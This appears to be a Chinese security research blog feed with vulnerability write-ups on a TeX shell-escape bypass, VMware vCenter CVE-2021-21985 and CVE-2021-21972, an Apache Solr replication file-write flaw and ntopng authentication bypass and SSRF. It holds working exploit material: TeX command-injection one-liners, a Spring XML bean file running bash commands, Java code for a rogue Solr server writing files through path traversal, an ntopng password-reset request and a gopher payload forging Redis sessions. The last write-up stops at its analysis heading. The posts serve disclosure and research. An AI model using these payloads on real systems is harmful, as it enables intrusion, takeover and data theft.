🔒
There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

TeX 安全模式绕过研究

6 June 2021 at 07:06

漏洞时间线:

  • 2021/03/08 - 提交漏洞至 TeX 官方;
  • 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
  • 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值,分别为:

  • f:不允许执行任何命令
  • t:允许执行任何命令
  • p:支持执行白名单内的命令(默认)

白名单命令列表可以通过如下命令查询:

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询:

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下:没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数,同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id 时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:

repstopdf '|id #'

在 TeX 内的利用方式为:

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile 及其他相关参数即可。利用方式为:

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能:

  • 命令执行(io.popen 等函数)
  • 文件操作(lfs 库函数)
  • 环境变量设置(os.setenv)
  • 内置了部分自研库(fontloader)

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。

将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题,问题代码如下:

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为:

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限(f)模式下执行命令。

VI. DVI 的安全问题

DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。

1. xdvi 命令的安全问题

xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:

VIII. 参考文章

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析

5 June 2021 at 00:17
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析

漏洞时间线:

  • 2021/04/13 - 发现漏洞并实现 RCE;
  • 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
  • 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
  • 2021/06/02 - Exploit 公开(from 随风's blog);
  • 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 1. 存在漏洞的 Controller

首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 2. invokeService 方法

invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 3. Bean 列表

其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 5. 调用 SpringContextLoader

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoadergetContextFileNameForPackage 会将路径中的 . 替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 7. 调用 loadVmodlPackages 方法并传入 URL

XML 文件内容及攻击效果如下:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 8. XML 文件内容及攻击效果

0x02. 不出网利用(6.7 / 7.0)

若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 9. VsanHttpProvider.py 文件内容

这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 10. 利用 SSRF 返回可控文件内容

在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 11. 调用 systemProperties 的方法

所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty 方法获取回显。最终的 context.xml 内容为:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下:

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
图 12. 不出网攻击效果

0x03. 技术总结

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

2 June 2021 at 09:10
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversiongeneration 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelistconfFilestlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversionfilelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

ntopng 流量分析工具多个漏洞分析

24 March 2021 at 03:37

0x00. TL;DR

ntopng 是一套开源的网络流量监控工具,提供基于 Web 界面的实时网络流量监控。支持跨平台,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发,其绝大部分 Web 逻辑使用 lua 开发。

在针对 ntopng 的源码进行审计的过程中,笔者发现了 ntopng 存在多个漏洞,包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题,接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。

比较有趣的是,利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数,还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁,并在 4.2 版本进行修复。涉及漏洞的 CVE 如下:

  • CVE-2021-28073
  • CVE-2021-28074

0x01. 部分权限绕过 (全版本)

ntopng 的 Web 界面由 Lua 开发,对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责,文件为 HTTPserver.cpp。对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request 函数中。其 HTTP 处理逻辑流程如下:

  1. 检测是不是某些特殊路径,如果是直接返回相关逻辑结束函数;
  2. 检测是不是白名单路径,如果是则储存在 whitelisted 变量中;
  3. 检测是否是静态资源,通过判断路径最后的扩展名,如果不是则进入认证逻辑,认证不通过结束函数;
  4. 检测是否路径以某些特殊路径开头,如果是则调用 Lua 解释器,逻辑交由 Lua 层;
  5. 以上全部通过则判断为静态文件,函数返回,交由 mongoose 处理静态文件。

针对一个非白名单内的 lua 文件,是无法在通过认证之前到达的,因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/ 或者 /plugins/ 开头,以静态文件扩展名结尾,比如 .css 或者 .js

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...

进入 if 语句后,ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua 扩展名结尾的路径后补充了 .lua,接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request 来进行处理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);

ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加 \0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./ 来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。

目前有两个问题,一个是为什么只能用 ./ 填充,另外一个是为什么说是“部分 Lua 文件”。

第一个问题,在 thrid-party/mongoose/mongoose.c 中,进行路径处理之前会调用下面的函数去除重复的 /以及 .,导致我们只能用 ./ 来填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}

说部分 Lua 文件的原因为,由于我们只能利用两个字符 ./ 来进行路径填充,。那么针对前缀长度为偶数的路径,我们只能访问路径长度为偶数的路径,反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说,我们需要:

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局权限绕过 (版本 4.1.x-4.3.x)

其实大多数 ntopng 的安装路径都是偶数(/usr/share/ntopng/scripts/lua/),那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计,我发现 modules/widgets_utils.lua内存在一个合适的 gadgets:

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)

调用入口在 widgets/widget.lua,很幸运,这个文件名长度为偶数。通过阅读代码逻辑可知,我们需要在edit_widgets.lua 创建一个 widget,而创建 widget 有需要存在一个 datasource,在 edit_datasources.lua 创建。而这两个文件的文件名长度全部为偶数,所以我们可以利用请求这几个文件,从而实现任意文件包含的操作,从而绕过 ntopng 的认证。

0x03. Admin 密码重置利用 (版本 2.x)

利用 0x01 的认证绕过,请求 admin/password_reset.lua 即可更改管理员的密码。

GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close

0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)

ntopng 的主机发现功能利用了 SSDP(Simple Service Discovery Protocol)协议去发现内网中的设备。

SSDP 协议进行主机发现的流程如下所示:

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+

SSDP 协议在 UDP 层传输,协议格式基于 HTTPU(在 UDP 端口上传输 HTTP 协议)。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求,局域网中加入此多播地址的设备接收到请求后,向客户端回复一个 HTTP/1.1 200 OK,在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段,一般指向设备的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...

在 discover_utils.lua 中,Lua 会调用 discoverHosts 函数获取 SSDP 发现的设备信息,然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet最终调用到的方法为 Utils::httpGetPost,而这个方法又使用了 cURL 进行请求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();

众所周知,cURL 是支持 gopher:// 协议的。ntopng 使用 Redis 储存 Session 的相关信息,那么利用SSRF 攻击本地的 Redis 即可设置 Session,最终实现认证绕过。

discover.discover2table 的调用入口在 discover.lua,也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能,同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求,并将 Location设置为如下 payload:

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最终通过设置 Cookie 为 session=ntop 来通过认证。

0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)

原理同 0x04,利用点在 assistant_test.lua 中,需要设置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token,利用 SSRF 写入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end

0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)

原理同 0x04,利用点在 modules/alert_utils.lua 中,需要在 Redis 里设置合适的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...

0x07. 在云主机上进行利用

SSDP 通常是在局域网内进行数据传输的,看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知,当 ntopng 发送 M-SEARCH 请求后,在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..

针对云主机,如 Google Compute Engine、腾讯云等,其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上(如 10.x.x.x),在流量经过 NAT 时,dst IP 也会被替换为云主机实例的内网 IP 地址,也就是说,我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一个局域网内,也可以使之接收到我们的 payload,以触发漏洞。

针对 0x04,我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口,由于这个路径长度为奇数,所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。

同时,由于 UDP 通信的过程中此端口是隐式绑定的,且并没有进行来源验证,所以一旦获取到这个端口号,则可以向此端口发送 SSDP 数据包,以混淆真实的 SSDP 回复。需要注意的是,需要在触发主机功能的窗口期内向此端口发送数据,所以整个攻击流程如下:

  1. 触发主机发现功能;
  2. 循环请求 rest/v1/get/flow/active.lua 以获取端口;
  3. 再次触发主机发现功能;
  4. 向目标从第 2 步获取到的 UDP 端口发送 payload;
  5. 尝试利用 Cookie 进行登录以绕过认证。

针对 0x05,我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口,原理不再赘述。

0x07. Conclusion

为什么出问题的文件名长度都是偶数啊.jpg

CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞分析

24 February 2021 at 08:59

0x01. 漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

0x02. 影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

0x03. 漏洞影响

VMware已评估此问题的严重程度为 严重 程度,CVSSv3 得分为 9.8

0x04. 漏洞分析

